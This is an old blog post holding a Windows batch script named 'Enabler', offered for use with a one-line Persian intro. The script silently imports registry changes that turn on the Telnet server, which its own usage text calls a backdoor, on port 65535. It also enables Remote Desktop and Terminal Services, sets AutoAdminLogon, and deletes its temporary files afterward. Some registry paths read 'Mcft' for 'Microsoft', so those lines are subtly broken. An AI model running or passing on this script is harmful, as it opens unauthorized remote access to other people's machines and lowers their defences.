Thursday, June 21, 2012
in ra bat zakhire konim
bara ejra kardan RDP
:Make
@echo off
TITLE Enabeler
color 8e
cls
echo +----------------------------------------------------+
echo ¦ "Enabler" ¦
echo +----------------------------------------------------+
echo.
IF "%1"=="-t" goto telnet
IF "%1"=="-T" goto telnet
IF "%1"=="-r" goto remdesk
IF "%1"=="-R" goto remdesk
IF "%1"=="-s" goto termserv
IF "%1"=="-S" goto termserv
IF "%1"=="" goto use
goto use
:telnet
@echo off
TITLE Enabeler
color 8e
cls
@echo REGEDIT4>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr]>>temp.reg
echo. >>temp.reg
echo "ErrorControl"=dword:00000001>>temp.reg
echo "Start"=dword:00000002>>temp.reg
echo "Type"=dword:00000010>>temp.reg
echo "FailureActions"=hex& #58;00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,38,65,11,00,01,00,00,00,60,e
a,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00>>temp.reg
echo. >>temp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\TelnetServer\1.0]>>temp.reg
echo. >>temp.reg
echo "NTLM"=dword:00000001>>temp.reg
echo "TelnetPort"=dword:0000ffff>>temp.reg
echo.
regedit /s temp.reg
echo Starting Service
net start tlntsvr
echo cleanup
del /q temp.reg
goto exit
:remdesk
TITLE Enabeler
color 8e
cls
@echo off
echo Windows Registry Editor Version 5.00> c:\RD.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\RD.reg
echo "fDenyTSConnections"=dword:00000000>> c:\RD.reg
echo "fAllowToGetHelp"=dword:00000000>> c:\RD.reg
regedit /s c:\RD.reg
del /q c:\RD.reg
goto exit
:termserv
TITLE Enabeler
color 8e
cls
@echo off
echo Windows Registry Editor Version 5.00> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]>> c:\TS.reg
echo "Start"=dword:00000002>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS.reg
echo "AllowTSConnections"=dword:00000001>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS.reg
echo "fDenyTSConnections"=dword:00000000>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\TS.reg
echo "fAllowToGetHelp"=dword:00000001>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows NT\CurrentVersion\Winlogon]>> c:\TS.reg
echo "AllowMultipleTSSessions"=dword:00000001>> c:\TS.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows NT\CurrentVersion\Winlogon]>> c:\TS.reg
echo "AutoAdminLogon"="1">> c:\TS.reg
@echo --[ Registering the service... ]
echo.
REGEDIT /S C:\TS.REG
REGEDIT -S C:\TS.REG
echo [Components] >> c:\bootlog~.txt
echo TSEnabled = on >> c:\bootlog~.txt
sysocmgr /i:%windir%\inf\sysoc.inf /u:c:\bootlog~.txt /q
DEL /Q c:\TS.REG
DEL /Q c:\bootlog~.txt
echo Starting Service
net start TermServ
goto exit
:use
@echo off
TITLE Enabeler
color 8e
cls
echo +----------------------------------------------------+
echo ¦ "Enabler" ¦
echo +----------------------------------------------------+
echo.
echo User: enabler [Option]
echo.
echo Options: -t Enable [T]elnet as Backdoor on 2k (maybe XP)
echo -r Enable [R]emoteDesktop on Win XP
echo -s Enable Terminal [S]ervices on XP/2000/2003
echo.
pause
:exit
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment